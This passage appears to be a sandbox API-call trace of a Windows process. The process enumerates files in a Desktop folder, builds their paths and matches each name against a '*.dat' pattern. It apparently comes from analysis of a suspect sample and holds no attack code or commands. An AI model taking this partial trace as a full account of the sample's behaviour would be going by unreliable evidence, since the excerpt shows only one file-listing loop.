lpString2="Gt0E_1l d.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv" [0146.572] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.572] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.572] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="Gt0E_1l d.mkv" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv") returned="\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv" [0146.572] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0146.572] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x42) returned 0x32bb338 [0146.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv", cchWideChar=66, lpMultiByteStr=0x32bb338, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv", lpUsedDefaultChar=0x0) returned 66 [0146.572] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362830 [0146.572] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb338 | out: hHeap=0x2360000) returned 1 [0146.572] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.572] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.572] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab58 [0146.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236ab58, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.573] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab58 | out: hHeap=0x2360000) returned 1 [0146.573] PathMatchSpecW (pszFile="Gt0E_1l d.mkv", pszSpec="*.dat") returned 0 [0146.573] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362830 | out: hHeap=0x2360000) returned 1 [0146.573] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888af380, ftCreationTime.dwHighDateTime=0x1d7a9c8, ftLastAccessTime.dwLowDateTime=0xe8bdb7f0, ftLastAccessTime.dwHighDateTime=0x1d7afc3, ftLastWriteTime.dwLowDateTime=0xe8bdb7f0, ftLastWriteTime.dwHighDateTime=0x1d7afc3, nFileSizeHigh=0x0, nFileSizeLow=0x5d17, dwReserved0=0x0, dwReserved1=0x0, cFileName="gxCLkfF5FMxOhrIJ.odp", cAlternateFileName="GXCLKF~1.ODP")) returned 1 [0146.573] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.573] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.573] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="gxCLkfF5FMxOhrIJ.odp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp" [0146.573] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.573] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.573] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="gxCLkfF5FMxOhrIJ.odp" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp") returned="\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp" [0146.573] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp", cchWideChar=73, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 73 [0146.573] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x49) returned 0x2362780 [0146.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp", cchWideChar=73, lpMultiByteStr=0x2362780, cbMultiByte=73, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp", lpUsedDefaultChar=0x0) returned 73 [0146.573] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362eb8 [0146.573] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362780 | out: hHeap=0x2360000) returned 1 [0146.573] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.573] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac48 [0146.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236ac48, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.574] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac48 | out: hHeap=0x2360000) returned 1 [0146.574] PathMatchSpecW (pszFile="gxCLkfF5FMxOhrIJ.odp", pszSpec="*.dat") returned 0 [0146.574] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362eb8 | out: hHeap=0x2360000) returned 1 [0146.574] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e272c90, ftCreationTime.dwHighDateTime=0x1d7acb9, ftLastAccessTime.dwLowDateTime=0x938522d0, ftLastAccessTime.dwHighDateTime=0x1d7ae58, ftLastWriteTime.dwLowDateTime=0x938522d0, ftLastWriteTime.dwHighDateTime=0x1d7ae58, nFileSizeHigh=0x0, nFileSizeLow=0xc988, dwReserved0=0x0, dwReserved1=0x0, cFileName="oI9YDYidz9W1RvrQSv58.bmp", cAlternateFileName="OI9YDY~1.BMP")) returned 1 [0146.574] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.574] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.574] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="oI9YDYidz9W1RvrQSv58.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp" [0146.574] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.574] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.574] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="oI9YDYidz9W1RvrQSv58.bmp" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp") returned="\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp" [0146.574] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0146.574] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4d) returned 0x2362bf8 [0146.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp", cchWideChar=77, lpMultiByteStr=0x2362bf8, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp", lpUsedDefaultChar=0x0) returned 77 [0146.574] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362e08 [0146.574] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362bf8 | out: hHeap=0x2360000) returned 1 [0146.574] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.574] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac60 [0146.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236ac60, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.574] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac60 | out: hHeap=0x2360000) returned 1 [0146.575] PathMatchSpecW (pszFile="oI9YDYidz9W1RvrQSv58.bmp", pszSpec="*.dat") returned 0 [0146.575] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e08 | out: hHeap=0x2360000) returned 1 [0146.575] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5103ca30, ftCreationTime.dwHighDateTime=0x1d7ad2f, ftLastAccessTime.dwLowDateTime=0x566dfc60, ftLastAccessTime.dwHighDateTime=0x1d7ae34, ftLastWriteTime.dwLowDateTime=0x566dfc60, ftLastWriteTime.dwHighDateTime=0x1d7ae34, nFileSizeHigh=0x0, nFileSizeLow=0x14d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="rREFgeGQqPivNXTKc.odp", cAlternateFileName="RREFGE~1.ODP")) returned 1 [0146.575] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.575] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.575] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="rREFgeGQqPivNXTKc.odp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp" [0146.575] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.575] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.575] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="rREFgeGQqPivNXTKc.odp" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp") returned="\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp" [0146.575] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp", cchWideChar=74, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 74 [0146.575] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4a) returned 0x23627d8 [0146.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp", cchWideChar=74, lpMultiByteStr=0x23627d8, cbMultiByte=74, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp", lpUsedDefaultChar=0x0) returned 74 [0146.575] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362ba0 [0146.575] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23627d8 | out: hHeap=0x2360000) returned 1 [0146.575] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.575] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab28 [0146.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236ab28, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.575] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab28 | out: hHeap=0x2360000) returned 1 [0146.576] PathMatchSpecW (pszFile="rREFgeGQqPivNXTKc.odp", pszSpec="*.dat") returned 0 [0146.576] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362ba0 | out: hHeap=0x2360000) returned 1 [0146.576] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x380b4a0, ftCreationTime.dwHighDateTime=0x1d7a7d8, ftLastAccessTime.dwLowDateTime=0xf0fe57d0, ftLastAccessTime.dwHighDateTime=0x1d7a866, ftLastWriteTime.dwLowDateTime=0xf0fe57d0, ftLastWriteTime.dwHighDateTime=0x1d7a866, nFileSizeHigh=0x0, nFileSizeLow=0x18e46, dwReserved0=0x0, dwReserved1=0x0, cFileName="VFIt1.png", cAlternateFileName="")) returned 1 [0146.576] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.576] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.576] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="VFIt1.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png" [0146.576] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.576] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.576] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="VFIt1.png" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png") returned="\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png" [0146.576] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23604a0 [0146.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0146.576] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba3d8 [0146.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png", cchWideChar=62, lpMultiByteStr=0x32ba3d8, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png", lpUsedDefaultChar=0x0) returned 62 [0146.576] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba660 [0146.576] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba3d8 | out: hHeap=0x2360000) returned 1 [0146.576] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.576] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aac8 [0146.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236aac8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.576] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aac8 | out: hHeap=0x2360000) returned 1 [0146.576] PathMatchSpecW (pszFile="VFIt1.png", pszSpec="*.dat") returned 0 [0146.577] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba660 | out: hHeap=0x2360000) returned 1 [0146.577] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37ec9c90, ftCreationTime.dwHighDateTime=0x1d7a1f2, ftLastAccessTime.dwLowDateTime=0xa670a600, ftLastAccessTime.dwHighDateTime=0x1d7aeab, ftLastWriteTime.dwLowDateTime=0xa670a600, ftLastWriteTime.dwHighDateTime=0x1d7aeab, nFileSizeHigh=0x0, nFileSizeLow=0x392a, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmyz7bDpg-Yp_.avi", cAlternateFileName="XMYZ7B~1.AVI")) returned 1 [0146.577] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.577] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.577] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="xmyz7bDpg-Yp_.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi" [0146.577] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.577] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.577] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="xmyz7bDpg-Yp_.avi" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi") returned="\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi" [0146.577] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.577] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x46) returned 0x32bb1a8 [0146.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi", cchWideChar=70, lpMultiByteStr=0x32bb1a8, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi", lpUsedDefaultChar=0x0) returned 70 [0146.577] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362ca8 [0146.577] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb1a8 | out: hHeap=0x2360000) returned 1 [0146.577] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.577] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aba0 [0146.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236aba0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.577] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aba0 | out: hHeap=0x2360000) returned 1 [0146.577] PathMatchSpecW (pszFile="xmyz7bDpg-Yp_.avi", pszSpec="*.dat") returned 0 